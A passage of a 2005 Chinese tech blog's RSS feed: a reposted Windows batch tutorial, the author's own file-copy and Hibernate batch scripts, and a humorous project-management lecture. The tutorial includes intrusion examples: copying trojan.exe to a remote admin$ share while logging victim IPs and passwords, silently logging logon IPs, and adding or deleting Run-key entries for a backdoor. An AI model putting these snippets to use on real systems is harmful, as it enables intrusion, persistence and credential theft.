<P>在做备份的时候可能会用到这种命令会比较简单，如：<BR>dir <A href="file://192.168.0.1/database/backup.mdb">file://192.168.0.1/database/backup.mdb</A> &amp;&amp; copy <A href="file://192.168.0.1/database/backup.mdb">file://192.168.0.1/database/backup.mdb</A> E://backup<BR>如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）</P>
<P>3.||</P>
<P>Usage：第一条命令 || 第二条命令 [|| 第三条命令...]</P>
<P>用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；</P>
<P>Sample：<BR>C://Ex4rch&gt;dir sometips.gif || del sometips.gif<BR>Volume in drive C has no label.<BR>Volume Serial Number is 0078-59FB</P>
<P>Directory of C://Ex4rch</P>
<P>2002-05-14 23:55 14 sometips.gif<BR>1 File(s) 14 bytes<BR>0 Dir(s) 768,696,320 bytes free</P>
<P>组合命令使用的例子：<BR>sample：<BR>@copy trojan.exe ////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt</P>
<P>四、管道命令的使用</P>
<P>1.| 命令<BR>Usage：第一条命令 | 第二条命令 [| 第三条命令...]<BR>将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。</P>
<P>sample：<BR>time /t&gt;&gt;D://IP.log<BR>netstat -n -p tcp|find ":3389"&gt;&gt;D://IP.log<BR>start Explorer<BR>看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。</P>
<P>2.&gt;、&gt;&gt;输出重定向命令<BR>将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。</P>
<P>sample1：<BR>echo hello world&gt;c://hello.txt (stupid example?)</P>
<P>sample2:<BR>时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：<BR>运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt,<BR>这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,<BR>日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.<BR>这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:<BR>CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。</P>
<P>3.&lt; 、&gt;&amp; 、&lt;&amp;<BR>&lt; 从文件中而不是从键盘中读入命令输入。<BR>&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。<BR>&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。<BR>这些并不常用，也就不多做介绍。</P>
<P>No.5<BR>五.如何用批处理文件来操作注册表</P>
<P>在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)<BR>关于注册表的操作，常见的是创建、修改、删除。</P>
<P>1.创建<BR>创建分为两种，一种是创建子项(Subkey)</P>
<P>我们创建一个文件，内容如下：</P>
<P>Windows Registry Editor Version 5.00</P>
<P>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]</P>
<P>然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创建了一个名字为“hacker”的子项。</P>
<P>另一种是创建一个项目名称<BR>那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：</P>
<P>Windows Registry Editor Version 5.00</P>
<P>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]<BR>"Invader"="Ex4rch"<BR>"Door"=C:////WINNT////system32////door.exe<BR>"Autodos"=dword:02</P>
<P>这样就在[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下<BR>新建了:Invader、door、about这三个项目<BR>Invader的类型是“String Value”<BR>door的类型是“REG SZ Value”<BR>Autodos的类型是“DWORD Value”</P>
<P><BR>2.修改<BR>修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。</P>
<P>3.删除<BR>我们首先来说说删除一个项目名称，我们创建一个如下的文件：</P>
<P>Windows Registry Editor Version 5.00</P>
<P>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]<BR>"Ex4rch"=-</P>
<P>执行该脚本，[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下的"Ex4rch"就被删除了；</P>
<P>&nbsp;</P>
<P>--------------------------------------------------------------------------------</P>
<P>以上为转载内容</P>
<P>%CD%&nbsp;&nbsp; 当前路径current directory<BR>ITH305 <A href="http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html">http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html</A><BR>&nbsp;<BR>批处理copy特定名称目录的内容：</P>
<P>shark的模块有二十六个，源文件分散在各个文件夹(如下)。用eclipse阅读的话要一个个把src文件的内容导入到项目中。在家摆弄的时候总算想到个方法来自动copy这些文件。(人家分类分得好好的，我把他们合并在一起，这是搞破坏哈)<BR>&nbsp;<BR>文件目录形式:<BR>shark-1.1<BR>&nbsp;&nbsp;&nbsp; modules<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SharkAPI<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; src<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SharkApplicationMapPersistence<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DODS<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; src<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hibernate<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; src<BR>&nbsp;&nbsp;&nbsp; ...<BR>&nbsp;<BR>cpysrc.dat<BR>&nbsp;<BR>@echo off<BR>if "X%1"=="X" goto initialize<BR>goto becalled<BR>:initialize<BR>if exist subdirs.txt del subdirs.txt&gt;nul<BR>dir /d /b /a:d&gt; subdirs.txt<BR>for /f %%i in (subdirs.txt ) do call E:\Resource\shark-1.1\modules\cpysrc.bat %%i<BR>del subdirs.txt&gt;nul<BR>goto end<BR>:becalled<BR>if "%1"=="src" xcopy src\*.* E:\JavaApp\Shark\src\ /s &amp;&amp; goto end<BR>cd %1<BR>call E:\Resource\shark-1.1\modules\cpysrc.bat<BR>cd ..<BR>:end<BR>&nbsp;<BR>在cpysrc.bat保存到E:\Resource\shark-1.1\modules\下并执行就可以。cpysrc.bat将遍历当前目录下的所有目录，并copy名为src文件夹下的所有内容到E:\JavaApp\Shark\src\。</P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5570.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 08:52 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5570.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>广为流传的一个关于项目管理的通俗讲解[转] </title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5568.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 00:46:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5568.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5568.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5568.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5568.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5568.html</trackback:ping><description><![CDATA[古老虾 发表于 2005-11-9 13:25:50<BR>&nbsp;<BR>想首先问大家一个问题：你觉得中国人聪明还是美国人聪明？&nbsp;&nbsp; <BR>我见过最好的回答是美籍华人。&nbsp; <BR>我们说美国人很愚蠢，为什么呢？&nbsp; <BR>你们都考过T或G吧，他们经常会出这么一道题1/3+1/2=？&nbsp; <BR>50%的人回答是2/5，这可是美国研究生入学考试的试题呀！&nbsp; <BR>通常在这个问题之前还有一个1/2+1/2=？为什么？&nbsp; <BR>他们怕太难了，先给个容易的热身一下。&nbsp; <BR>我在美国的时候见过很多的PHD，对于美国人来说if...else...是逻辑，而if...if...else...就成了哲学，也是美国这么多哲学博士的原因：）&nbsp; <BR>我们说美国人很愚蠢，那我们为什么还要学习他们呢？这个问题稍候我们会回答。&nbsp; <BR>再问一个问题：如果你刚买了一个豪华的房子，可你三岁的儿子把整个墙壁上都写上“我爱长城永不到，我爱北京天安门”，你该怎么做？&nbsp; <BR>有的女孩子说暴打，呵呵，这个答案从女生的嘴里说出来还是比较少见。&nbsp; <BR>美国人怎么办？&nbsp; <BR>他们会对孩子说：“你老人家真有绘画的天赋，简直就是毕加索的毕加索，你这一幅画至少能卖100万美金”你们知道美国人喜欢钱，用金钱来量化一定是效果明显。&nbsp; <BR>但显而易见，您老人家把画画在墙壁上是不能永久保存的，所以我明天给你买一个画布，你就尽情的画吧。否则我们要损失多少个毕加索呀！&nbsp; <BR>于是我们就可以看见我们的小宝贝在画布上快乐的滚来滚去。墙面也干净了。&nbsp; <BR>中国人很聪明，从大家就可以看出来，但中国人聪明做工作就有了聪明的做法，他们往往是每个项目都是按照自己的见解来做。&nbsp; <BR>而美国人如何来操作呢，他们就象洗澡，会在面前挂一张纸，上面写着先洗头，再洗耳朵，再细脸，，，这样做事情就有了一定的流程，渐渐的就形成了一套体系。&nbsp; <BR>所以这也是我们今天来探讨项目管理的目的所在。&nbsp; <BR>项目管理分九个知识领域，分别是成本管理、质量管理、时间管理、范围管理、人力资源管理、沟通管理、风险管理、采购管理和整体管理。&nbsp; <BR>其中时间，质量和成本管理构成了三角形&nbsp; <BR>大家在纸上画一个三角形&nbsp; <BR>在各个边上标上时间、质量、成本（等边三角形）&nbsp; <BR>任何一方的移动必定带动其他的变形，如果时间缩短，怎么样？就是我们常说的“献礼工程”，同时必定会影响质量和成本。问大家一个问题，这个三角形中间是什么东东？&nbsp; <BR>对，是范围管理，也就是我们说的项目范围。这也就是我们常说的项目“项目管理三角形”&nbsp; <BR>下面介绍一下项目管理的“项目管理三角形“&nbsp; <BR>项目三角形中的成本，主要来自于所需资源的成本，自然也包括人力资源的成本。这个相信很好理解。&nbsp; <BR>为了缩短项目时间，就需要增加项目成本（资源）或减少项目范围；&nbsp; <BR>为了节约项目成本（资源），可以减少项目范围或延长项目时间；&nbsp; <BR>如果需求变化导致增加项目范围，就需要增加项目成本（资源）或延长项目时间&nbsp; <BR>通过“项目管理三角形“我们了解了项目成本、时间，质量和范围的简单定义。&nbsp; <BR>我们说一个项目经理有多少时间是用来做沟通的工作的？&nbsp; <BR>应该不少于75%的时间是用来沟通的，所以项目管理将项目沟通管理单独列了出来。&nbsp; <BR>所有这些领域都有一个主线就是项目的整体管理来统一的。&nbsp; <BR>由于时间的限制我们不详细讨论其他的知识领域，因为今天是入门的，哈哈&nbsp; <BR>另外项目管理除了九个知识领域，还应该了解5个过程组&nbsp; <BR>5个过程组就是：启动，计划，执行，控制，收尾。&nbsp; <BR>这5个过程组贯穿于每个知识领域的始终，你们了解吗？&nbsp; <BR>举个例子字来说： <BR>某人（比喻）好不容易找了个女朋友，为了增进进一步的距离，他想来个欧亚8日游，于是他把自己多年的积蓄——3万元，一次性投入。&nbsp; <BR>但在旅游过程中，他的MM看上了另外一个帅哥，于是人财两空，说明什么问题？&nbsp; <BR>说明他的项目启动的时候就出现了问题，没有很好的做市场调研，结果过程就没有办法控制。&nbsp; <BR>根据PMI的解释，接单之后项目自然转入启动阶段&nbsp; <BR>于是他刻苦的工作，终于又攒了3万，这次他不和美女旅游了，考虑到自己的费用，他请这个姑娘看了场电影。&nbsp; <BR>于是他带这个这个姑娘看了——《第一滴血》&nbsp; <BR>看的那叫爽，姑娘看的也很爽，看看完后她觉得这个家伙有暴力倾向，于是又分手。说明什么问题？&nbsp; <BR>对，没有进行有效的需求调查，也就是在计划的时候没有明确的需求定义。&nbsp; <BR>于是他下次的时候知道了姑娘爱看歌舞剧，于是他就请一个靓女看了《天鹅湖》，可是以外有发生了——&nbsp; <BR>进去后发现座位不在一起，等他们把位子换到一起的时候歌舞剧结束了，这说明什么？&nbsp; <BR>对，说明没有很好的执行，起码在执行过程中没有进行有效的监督。&nbsp; <BR>其他的过程不一一解释，我在这里强调的是收尾的重要性。&nbsp; <BR>我们往往非常注重合同性收尾，却总是忽略管理性收尾。什么是管理性收尾呢？&nbsp; <BR>某人同志吸取了所有的经验教训，终于领了结婚证，还应该干些什么呢？&nbsp; <BR>对了，还应该把所有的经验教训总结一下，以书面的形式汇报给老妈，并张贴于门后。&nbsp; <BR>然后在中堂挂一幅对联：欲谈恋爱者需先阅读门后之——《恋爱指南》&nbsp; <BR>以后凡是自己的兄弟姐妹要谈恋爱的，必须先参阅门后的恋爱指南。&nbsp; <BR>这样能起到什么效果呢，对，以后他们的恋爱项目操作至少能停留在这个水平。&nbsp; <BR>这个过程怎样来保证呢，对，还需要我们的QA人员，也就是他的妈妈负责质量控制。&nbsp; <BR>家规一条，不参阅者或不照此操作者不许谈恋爱！&nbsp; <BR>大公司一般有质量管理部门（QA），QA的成员基本上都是由非常有经验的PM转型过来的老狐狸，是老总接班人的有力争夺者：）&nbsp; <BR>这也是我们说一个失败的项目会培养一批优秀的项目经理的原因。&nbsp; <BR>哪个门后的《恋爱指南》我们称之为文档，文档重要吗？我们说在电信科技处的同志们说重要，为什么因为他们管这个，但对于我们呢？&nbsp; <BR>大家拿起你身边的一只笔，告诉我他多长？&nbsp; <BR>有的说10厘米，有的说10。0987厘米。&nbsp; <BR>我们说他的估算很精确，但不准确！！&nbsp; <BR>这是我如果拿一只笔告诉你正好10厘米，然后和你的笔比对你是不是就比较容易得出测算？&nbsp; <BR>这说明文档是非常重要的，有的人认为文档是最无聊的，项目结束后做个总结不就是了吗。&nbsp; <BR>错，文档的整理应该贯穿于项目管理的始终。&nbsp; <BR>文档的管理是对项目进行良好的跟踪和监控的一个手段，简单的讲就是根据你的项目计划进行你的文档管理。&nbsp; <BR>一般档案分类主线是：立项、计划、执行、结束4大类；然后在每大类中，再根据任务或者团组分类管理，根据哪个需要根据你项目复杂程度和管理习惯，总之原则是方便你对整个项目进度的追踪。&nbsp; <BR>以上我们讲了项目管理的九个知识领域，五大过程组，还有“项目管理三角形“，下面我们讲PMBOK。&nbsp; <BR>PMBOK是项目管理圣经，也就是Project management body of knowledge，项目管理知识体系指南 <BR>它是美国项目管理协会（PMI）的核心指导出版物&nbsp; <BR>但它象一本字典，往往你看到第三页会睡着：）&nbsp; <BR>在此简单介绍美国项目管理协会（PMI）和国际项目管理协会（IPMA）&nbsp; <BR>美国项目管理协会只有PMP一个证书，而IPMA有四级，你可以一毕业就可以考试，这个我们后面详细的讲。&nbsp; <BR>下面讲几个名词，如果你掌握了，一和人讲项目管理你就抛出来，一定没有人敢小看你。&nbsp; <BR>他们是WBS、甘特图、基准（BASELINE）、项目干系人和关键路径&nbsp; <BR>WBS是WORK BREAKDOWN STRUCTRE ，工作分解结构&nbsp; <BR>WBS的定义还是很麻烦的，PM要召开团队进行讨论，向成员提供与项目相关的所有详细资料，并把WBS树分解到二层三层。然后要花上一段时间让成员 进行头脑风暴式（BRAINING STORM）思考，制订工作产出和相应人员的职责，记录每一个工作包的完成标准。&nbsp; <BR>比如我们要结婚了，怎么来分解呢&nbsp; <BR>无非是办酒席，拍结婚照，，等等，这个在论坛上曾有人做了详细的分解，大家都可以找到。&nbsp; <BR>我们说为什么WBS重要，而且大部分项目管理的咨询都是针对WBS的咨询&nbsp; <BR>因为WBS做好了，以后工作就有了参考物，你就知道在不同的阶段你应该干什么，完成到什么进度。&nbsp; <BR>其实WBS的划分是没有规则的，主要的考虑角度是方便你做各类的统计工作，为管理服务。&nbsp; <BR>同样的一个项目其管理的侧重点不同，WBS结构的划分也可能是完全不同的。&nbsp; <BR>衡量划分好坏的标准应该是看其是否满足你管理的需要。&nbsp; <BR>甘特图也叫横道图等，很多名称，我们说它是甘特在第一次世界大战时开始使用，它就是在WBS的基础上将WBS形象化老控制进度&nbsp; <BR>对于基准，我象举个例子。&nbsp; <BR>我们在没有结婚之前，你脚踩几只船？&nbsp; <BR>我们说法律允许但道德不允许，但你可以脚踩N只船：）&nbsp; <BR>但当有一天你和你的朋友进了一个小黑屋子，然后带了两个盖章的本本的时候，你还可以脚踩N只船吗？&nbsp; <BR>我们说此时就不允许了，因为你过了一个基准线（BASELINE）&nbsp; <BR>如果你还想脚踩N只船就需要重新回小黑屋子再盖两个章就可以了。&nbsp; <BR>那我们的项目要越轨怎么办，也就是项目变更？&nbsp; <BR>我们说对这样的项目变更会影响各要素比如时间，成本，质量等&nbsp; <BR>我们应该统一由项目管理办公室来进行控制，如果你要变更基准，必须要进行严格的限制。&nbsp; <BR>在客户提出变更请求时，要建立变更申请登记表和变更申请表，并让客户签字。&nbsp; <BR>有时候一些不是非常关键的模块PM也不至于一点不讲情面，该卖面子的时候还是要卖，尤其是当着对方领导的面，千万要 卖面子，但是也别卖的太干脆，不要让他们得到的太容易。&nbsp; <BR>PM在变更管理中需要做的是分析变更请求，评估变更可能带来的风险和修改基准文件。&nbsp; <BR>如果一个项目进行过程中，比如现在的点心的3G项目，你发现如果再多花一点时间就可以编写出对以后非常有用处的程序，但这个程序不在本项目范围之内，你要不要做？&nbsp; <BR>对，我们说不能做，你可以重新起一个项目来做，但不能在这个项目里做，这样会是我们的项目成本超出，风险增加，而且和其他的项目缺少比对性和参照的价值。&nbsp; <BR>这也是我们说现在有大约80%以上的项目失败的原因，我们说项目失败并不是项目进行不下去了，彻底破产，在PMI有明确的定义，凡是项目的成本超出预算，质量没有得到保证，时间超过预计等等都在失败的范围之内。&nbsp; <BR>这个在华为做的很好，华为有个有名的增量开发的名声。&nbsp; <BR>只用20%的功能先满足你80%的需求，其他的功能我可以开发升级的版本，于是就在小数点后平明的增加数字，于是就是了V1，V1.1，V1.11....等版本&nbsp; <BR>它从来不一下子满足你所有的需求，我们大家想想，谁没有事情拿出自己的手机把所有的PING码都试用一下，我们说没有，我们大部分的需求是在打电话，发消息，打打游戏，对不对？&nbsp; <BR>这点在项目管理中非常重要，请大家结合资料好好研究。&nbsp; <BR>项目干系人是什么东东，谁给我举一个例子？&nbsp; <BR>对，包括项目人员的老婆孩子，正确&nbsp; <BR>我们说有的项目需要的时间很紧张，如果你的项目成功了，但项目的程序员们都成了光棍，那项目还是非常失败，至少不是丧心病狂的PM这么想。&nbsp; <BR>合理解决项目干系人的冲突是个很累的问题，其中还包括你的只能经理们，你的董事长，你的客户，等等，等等，有的说没用？&nbsp; <BR>好，如果你的项目进展不下去，你该怎么办？&nbsp; <BR>对，开会，把你的高层找一个坐到会议室，不用他说话，只让他暧昧的看着大家，大家一定会想，这个家伙一定和领导有关系，我们还是好好的做这个项目，下一个项目再给他使拌子吧：）&nbsp; <BR>所以为了不累死好好分析一下你的项目干系人吧&nbsp; <BR>我们上次讲了一些基础的知识，包括什么是项目管理，项目管理包括什么？&nbsp; <BR>你说项目管理有几个知识领域？&nbsp; <BR>你说项目管理有几个过程组？&nbsp; <BR>让我们想起了泡MM的例子是不是？&nbsp; <BR>还有老母亲做QA的比喻&nbsp; <BR>几天我们着重强调的是&nbsp; <BR>项目是什么?人们常用“时间”，“资源(或缺乏资源)”，“某种工作努力”，“交付物或者产品”，“综合工程”，“缺乏凌驾其他班组的职权”，以及“预算”来给它下定义。实际上，项目是一种独特的工作努力，即遵照某种规范及应用标准去导入或生产某种新产品或某项新服务。这种工作努力应在限定的时间、成本费用、人力资源及资财等项目参数内完成。<BR>首先给大家一个项目的定义，到底什么是项目？&nbsp; <BR>根据PMPBOK的定义，项目是在一段时间内为完成某一独特的产品或提供独特的服务所进行努力的过程。&nbsp; <BR>这个过程受到时间、人力、资源、成本、质量上的限制&nbsp; <BR>项目有几个特征：1.临时性 2.独特性 3.一次性&nbsp; <BR>下面大家告诉我下面哪个是项目：A惠普与康柏机构重组惠普与康柏机构重组。B建造一座新工厂 C改建道路 D工程材料采购 E开发软件包 F结婚典礼 G寻找拉登&nbsp; <BR>有人说是寻找拉登，大家说寻找拉登有明确的结束时间吗？&nbsp; <BR>当然我们可以假设寻找拉登50年如果找不到，项目就结束是不是？&nbsp; <BR>所以说我们今天不讨论哪个到底是项目，所有的问题都要放到具体的环境下，否则没有意义。&nbsp; <BR>下面大家可以开始提问了。&nbsp; <BR>什么是WBS呢？&nbsp; <BR>WBS是工作分解结构，就象一张道路交通图，它能够指引你如何从当前位置到达想去的地方。没有它，你可能就要迷路了。&nbsp; <BR>怎样来做一个好的WBS呢？&nbsp; <BR>有时候在接受新项目时前无例子可借鉴感觉分解时真困难, 因为每个人的解决问题思路不同,同一个项目不同的人有很多种分类, 因为可以按照工作的流程分解,也可以按照系统论的方法进行结构上的分解, 但我觉得有一条很重要的原则应该注意,那就是麦肯锡的精髓,他们在分解工作时非常强调的就是MECE, muturally exclusive, collectively exhaustive, 即相互独立,完全穷尽的原则, 也就是现在较流行的说法"横向到底,纵向到边" , 如果分解时坚持了这个原则, 我想一定会有Perfect 的WBS, 其实WBS并非是PMI的"真传", 只是被PMI起名为WBS, 有时候工作中我们也会用类似的方法解决问题无非是没有提升到理论高度, 但WBS确实是做事的核心步骤。&nbsp; <BR>做一个WBS需要注意一些什么问题呢？&nbsp; <BR>? 第一级通常与项目生命周期相同(如需求分析，设计，采购，施工……)&nbsp; <BR>? 第一级应在项目进一步分解前完成&nbsp; <BR>? WBS的每一级都是其上一级的片断(Segment)&nbsp; <BR>? 一个工作单元只与一个上层单元相关&nbsp; <BR>? 上层单元的工作内容应该等于其所有直接下层工作单元的总和&nbsp; <BR>? 一个工作单元由一个人负责&nbsp; <BR>? 在整个WBS中使用同一种定义，在整个组织中亦然&nbsp; <BR>? 通过将人员包括进WBS来激励他去完成计划&nbsp; <BR>什么是甘特图呢？&nbsp; <BR>1.以图形或表格的形式显示活动。&nbsp; <BR>2.现在是一种通用的显示进度的方法。&nbsp; <BR>3.构造时应包括实际日历天和持续时间。不要将周末和节假日算在进度之内&nbsp; <BR>什么是风险呢？&nbsp; <BR>首先问一个问题&nbsp; <BR>你们说在一个项目中，初始阶段和结束阶段哪个时候项目的风险大？&nbsp; <BR>对，是开始的时候，因为在开始的时候有无数的不可控制的因素。&nbsp; <BR>那什么阶段的损失大呢？&nbsp; <BR>对，在结束的时候，所以说两者是相反的/&nbsp; <BR>所以说在项目的启动阶段成功的可能性最小，风险发生的概率也就最高，但是这时候一旦预计的风险发生了，损失是最小的。&nbsp; <BR>想想广州和深圳很多烂尾楼？损失会有多少？？？！！！！！&nbsp; <BR>另外我们要明确几个定义：&nbsp; <BR>1是确定性。具有明显的可能性，比如中国和韩国对抗赛，胜负是很明显的：）&nbsp; <BR>2是风险。韩国队能赢中国队几个球是一种风险的预测。&nbsp; <BR>3是未知性。中国和美国比赛门球那就是未知的：）<img src ="http://www.cnitblog.com/Raistlin/aggbug/5568.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 08:46 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5568.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Hibernate启动过慢的问题以及我的批处理</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5567.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 00:43:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5567.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5567.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5567.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5567.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5567.html</trackback:ping><description><![CDATA[<P>icepeak:<BR>&nbsp;hibernate肯定没什么问题的 <BR>&nbsp;我也遇到启动很慢的情况，都是我的问题 <BR>&nbsp;你把你的映射文件发给我看看<BR>icepeak:<BR>&nbsp;&lt;!DOCTYPE hibernate-mapping PUBLIC "-//Hibernate/Hibernate Mapping DTD 2.0//EN" "<A href="http://hibernate.sourceforge.net/hibernate-mapping-2.0.dtd">http://hibernate.sourceforge.net/hibernate-mapping-2.0.dtd</A>" &gt;<BR>&nbsp;你用h3，但是却写h2的配置文件，h就傻了 把2变成3就好 <BR>icepeak:<BR>&nbsp;我想你得不到id也许和映射文档有问题也有关系 <BR>&nbsp;什么都不用改，就用identity，再试试看 <BR>&nbsp;我觉得是映射文件配置错误导致了不能读取 <BR>&nbsp;就是2.0和3.0的错误 <BR>&nbsp;<BR>So...问题解决了.</P>
<P>俺用了三个批处理来自动生成hibernate的文件。<BR>&nbsp;<BR>execant.bat:<BR>d:<BR>cd D:\hibernate-3.0\middlegen-2.1\samples\<BR>rem 打开build.xml修改middlegen配置<BR>editplus.exe build.xml<BR>ant<BR>&nbsp;<BR>myant.bat:<BR>call execant.bat<BR>pause<BR>rem 复制hbm和java文件到工程目录<BR>xcopy .\build\gen-src\com\glacierbbs\hibernate\*.java E:\eclipse\workspace\JGlacier\src\com\glacierbbs\hibernate\ /Y /D<BR>xcopy .\build\gen-src\com\glacierbbs\hibernate\*.xml E:\eclipse\workspace\JGlacier\src\ /Y /D<BR>rem 替换掉hbm中的字符串<BR>call E:\eclipse\workspace\JGlacier\cutter.bat<BR>pause<BR>&nbsp;<BR>cutter.bat:<BR>e:<BR>cd E:\eclipse\workspace\JGlacier\src<BR>dir *.xml /d /b /a-d &gt;hbmfiles.txt<BR>rem 将版本2.0改成3.0<BR>for /f %%i in (hbmfiles.txt) do strrpc /s:%%i 2.0 3.0 /c<BR>rem 将hi/lo的max_lo由100改成0...我只需要简单的数字<BR>for /f %%i in (hbmfiles.txt) do strrpc /s:%%i 100 0 /c<BR>del hbmfiles.txt&gt;nul<BR>rem 所有hi/lo算法读的是同一个表中的不同字段<BR>strrpc /s:Board.hbm.xml next_value next_boardid /c<BR>strrpc /s:Post.hbm.xml next_value next_postid /c<BR>strrpc /s:Topic.hbm.xml next_value next_topicid /c<BR>strrpc /s:UserBasic.hbm.xml next_value next_userid /c<BR>strrpc /s:Vote.hbm.xml next_value next_voteid /c<BR>strrpc /s:VoteOption.hbm.xml next_value next_voteoptionid /c<BR>strrpc /s:VoteParticipant.hbm.xml next_value next_voteparticipantid /c<BR>cd ..<BR>pause<BR>&nbsp;<BR>然后，为每个hibernate生成的java类写个Adapter类...从此世界就安静了.... </P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5567.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 08:43 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5567.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>tomcat jsp errorpage记录</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5566.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 00:39:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5566.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5566.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5566.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5566.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5566.html</trackback:ping><description><![CDATA[
